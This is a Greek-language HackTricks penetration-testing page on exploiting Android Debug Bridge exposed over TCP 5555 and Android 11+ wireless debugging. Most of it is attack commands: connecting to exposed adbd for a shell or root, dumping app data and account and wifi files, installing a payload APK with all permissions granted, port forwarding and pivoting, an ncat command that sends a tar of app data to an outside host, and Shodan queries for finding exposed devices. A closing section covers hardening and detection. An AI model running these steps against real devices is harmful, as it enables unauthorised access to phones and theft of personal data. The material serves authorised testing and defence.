5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Από τα έγγραφα:
Το Android Debug Bridge (adb) είναι ένα εργαλείο γραμμής εντολών για επικοινωνία με συσκευές και εξομοιωτές που βασίζονται σε Android. Τυπικές ενέργειες περιλαμβάνουν την εγκατάσταση πακέτων, την αποσφαλμάτωση και την απόκτηση ενός διαδραστικού Unix shell στη συσκευή.
- Ιστορική προεπιλεγμένη θύρα TCP: 5555 (κλασική λειτουργία "adb tcpip").
- Σύγχρονη ασύρματη αποσφαλμάτωση (Android 11+) χρησιμοποιεί TLS pairing και mDNS service discovery. Η θύρα σύνδεσης είναι δυναμική και ανακαλύπτεται μέσω mDNS; μπορεί να μην είναι 5555. Η ζεύξη γίνεται με adb pair host:port ακολουθούμενη από adb connect. Δείτε τις σημειώσεις παρακάτω για επιθετικές επιπτώσεις.
Παράδειγμα δακτυλοσκόπησης nmap:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Συνδέσου
Αν βρεις το ADB εκτεθειμένο και προσβάσιμο, προσπάθησε να συνδεθείς και να καταγράψεις γρήγορα:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Αν η συσκευή επιβάλλει την αυθεντικοποίηση ADB (ro.adb.secure=1), θα χρειαστεί να είστε προεξουσιοδοτημένοι (USB RSA auth) ή να χρησιμοποιήσετε την ασύρματη ζεύξη αποσφαλμάτωσης Android 11+ (η οποία απαιτεί έναν κωδικό μίας χρήσης που εμφανίζεται στη συσκευή).
- Ορισμένες εικόνες προμηθευτών, κατασκευές engineering/userdebug, εξομοιωτές, τηλεοράσεις, STB και κιτ ανάπτυξης εκθέτουν το adbd χωρίς αυθεντικοποίηση ή με το adbd να εκτελείται ως root. Σε αυτές τις περιπτώσεις, θα προσγειωθείτε συνήθως απευθείας σε ένα shell ή root shell.
Για μια γενική αναφορά εντολών ADB, δείτε:
Γρήγορη Μετά-Εκμετάλλευση
Μόλις έχετε shell, επιβεβαιώστε τα δικαιώματα και το πλαίσιο SELinux:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Καταμέτρηση και συλλογή δεδομένων
- Λίστα τρίτων εφαρμογών και διαδρομών:
pm list packages -3
pm path <pkg>
- Αν έχετε root (adb root ή su λειτουργεί), μπορείτε να έχετε πρόσβαση στο /data απευθείας. Αν όχι, προτιμήστε το run-as για εφαρμογές που μπορούν να αποσφαλματωθούν:
# Χωρίς root, για μια αποσφαλματωμένη εφαρμογή
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Με root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Χρήσιμα συστήματα τεκμηρίωσης (απαιτείται root):
- /data/system/users/0/accounts.db και σχετικά δεδομένα AccountManager
- /data/misc/wifi/ (ρυθμίσεις/κλειδιά δικτύου σε παλαιότερες εκδόσεις)
- Ειδικές βάσεις δεδομένων SQLite και shared_prefs κάτω από /data/data/
Μπορείτε να το χρησιμοποιήσετε για να ανακτήσετε ευαίσθητες πληροφορίες (π.χ., μυστικά εφαρμογών). Για σημειώσεις σχετικά με τις παρατηρήσεις δεδομένων του Chrome, δείτε το ζήτημα που αναφέρεται εδώ.
Εκτέλεση κώδικα και παράδοση payload
- Εγκαταστήστε και αυτόματα παραχωρήστε δικαιώματα εκτέλεσης:
adb install -r -g payload.apk # -g παραχωρεί όλα τα δικαιώματα εκτέλεσης που δηλώνονται στο manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Ξεκινήστε δραστηριότητες/υπηρεσίες/εκπομπές απευθείας:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Προώθηση θυρών και pivoting
Ακόμα και χωρίς root, το adb μπορεί να προωθήσει τοπικές θύρες σε θύρες συσκευής και το αντίστροφο. Αυτό είναι χρήσιμο για την πρόσβαση σε υπηρεσίες που είναι δεσμευμένες τοπικά στη συσκευή ή για την έκθεση υπηρεσιών επιτιθέμενου στη συσκευή.
- Προώθηση host->device (πρόσβαση σε μια τοπική υπηρεσία της συσκευής από τον υπολογιστή σας):
adb forward tcp:2222 tcp:22 # Αν η συσκευή τρέχει SSH (π.χ., Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Εκθέστε τον τοπικό διακομιστή αποσφαλμάτωσης της εφαρμογής
- Αντίστροφη device->host (να επιτρέψετε στη συσκευή να φτάσει σε μια υπηρεσία στον υπολογιστή σας):
adb reverse tcp:1080 tcp:1080 # Οι εφαρμογές της συσκευής μπορούν τώρα να φτάσουν στο host:1080 ως 127.0.0.1:1080
- Εξαγωγή αρχείων μέσω sockets (χωρίς εγγραφές sdcard):
# Στον υπολογιστή: άκου
ncat -lvp 9000 > dump.tar
# Στη συσκευή: στείλτε τον κατάλογο ως tar (root ή run-as όπως απαιτείται)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Ασύρματη αποσφαλμάτωση (Android 11+)
Ο σύγχρονος Android υλοποιεί την ασύρματη αποσφαλμάτωση προστατευμένη με TLS με ζευγάρωμα από την πλευρά της συσκευής και ανακάλυψη mDNS:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Σημειώσεις
- Οι θύρες είναι δυναμικές; μην υποθέτετε 5555. Τα ονόματα υπηρεσιών mDNS μοιάζουν με:
- _adb-tls-pairing._tcp (ζευγάρωμα)
- _adb-tls-connect._tcp (συνδεδεμένο ζευγάρωμα)
- _adb._tcp (παλαιά/απλή)
- Εάν το mDNS είναι φιλτραρισμένο, η κλασική ενεργοποίηση μέσω USB μπορεί να λειτουργήσει σε ορισμένες εκδόσεις:
adb tcpip 5555
και στη συνέχειαadb connect <ip>:5555
(μέχρι την επανεκκίνηση).
Επιθετικές επιπτώσεις: αν μπορείτε να αλληλεπιδράσετε με το UI της συσκευής (π.χ., φυσική πρόσβαση ή κακή ρύθμιση MDM κινητού) για να ενεργοποιήσετε την ασύρματη αποσφαλμάτωση και να δείτε τον κωδικό ζευγαρώματος, μπορείτε να δημιουργήσετε ένα μακροχρόνιο ζευγαρωμένο κανάλι ADB χωρίς καλώδιο. Ορισμένοι OEMs εκθέτουν το ADB μέσω TCP σε εικόνες μηχανικής/ανάπτυξης χωρίς ζευγάρωμα—πάντα ελέγξτε.
Σκληροποίηση / Ανίχνευση
Οι αμυντικοί θα πρέπει να υποθέτουν ότι οποιοδήποτε προσβάσιμο adbd (TCP) είναι κρίσιμος κίνδυνος.
- Απενεργοποιήστε το ADB και την ασύρματη αποσφαλμάτωση όταν δεν χρειάζεστε. Ανακαλέστε τις εξουσιοδοτήσεις αποσφαλμάτωσης USB στις επιλογές προγραμματιστή.
- Βεβαιωθείτε ότι η πολιτική δικτύου μπλοκάρει την εισερχόμενη TCP/5555 και την ανακάλυψη ADB μέσω mDNS σε μη αξιόπιστα τμήματα.
- Σε συσκευές υπό τον έλεγχό σας:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # απενεργοποίηση ακρόασης TCP (ή χρησιμοποιήστε: adb usb)
stop adbd; start adbd # επανεκκίνηση του δαίμονα
- Παρακολουθήστε για εγγραφές mDNS
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
σε εταιρικά δίκτυα και ειδοποιήσεις για απροσδόκητους ακροατές 5555. - Καταγράψτε για ανασφαλείς εκδόσεις:
getprop ro.debuggable
,ro.build.type
, καιro.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
Αναφορές
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.